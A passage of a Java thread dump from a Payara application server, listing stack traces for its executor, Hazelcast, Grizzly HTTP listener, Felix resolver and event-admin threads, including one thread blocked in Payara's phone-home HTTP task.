java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"payara-executor-service-scheduled-task" #142 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4cafa004 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.generic-operation.thread-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6597ec65 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"RunLevelControllerThread-1754845017536" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@5e405676 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #7" #158 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"payara-executor-service-scheduled-task" #141 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4cafa004 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #4" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-5" #132 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #123 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3cd33022 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-13" #93 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"http-thread-pool::http-listener-2(4)" #104 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1e2d0880 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(1)" #94 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1325d2d2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #8" #163 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"payara-executor-service-scheduled-task" #140 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read1(BufferedInputStream.java:286) + at java.io.BufferedInputStream.read(BufferedInputStream.java:345) + at sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:735) + at sun.net.www.http.HttpClient.parseHTTP(HttpClient.java:678) + at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1587) + at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1492) + at java.net.HttpURLConnection.getResponseCode(HttpURLConnection.java:480) + at fish.payara.nucleus.phonehome.PhoneHomeTask.send(PhoneHomeTask.java:164) + at fish.payara.nucleus.phonehome.PhoneHomeTask.run(PhoneHomeTask.java:76) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308) + at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180) + at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.IO.thread-in-0" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:278) + at com.hazelcast.internal.networking.nio.NioThread.run(NioThread.java:235) + +"Executor-Service-9" #136 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-thread-pool::admin-listener(1)" #108 daemon [WAITING] on java.lang.Object@341ff7b2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.partition-operation.thread-4" #46 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.IO.thread-out-1" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:278) + at com.hazelcast.internal.networking.nio.NioThread.run(NioThread.java:235) + +"hz._hzInstance_1_development.generic-operation.thread-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6597ec65 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.IO.thread-Acceptor" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at com.hazelcast.nio.tcp.TcpIpAcceptor$AcceptorIOThread.acceptLoop(TcpIpAcceptor.java:177) + at com.hazelcast.nio.tcp.TcpIpAcceptor$AcceptorIOThread.run(TcpIpAcceptor.java:163) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1fd4630f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Executor-Service-2" #129 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Executor-Service-8" #135 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@57338102 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.event-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ffe96d5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:226) + +"FelixResolver-4" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #10" #166 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-5" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-kernel(1) SelectorRunner" #110 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-7" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-2" #70 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"FelixResolver-6" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-kernel(1) SelectorRunner" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #2" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(2)" #95 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1325d2d2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at 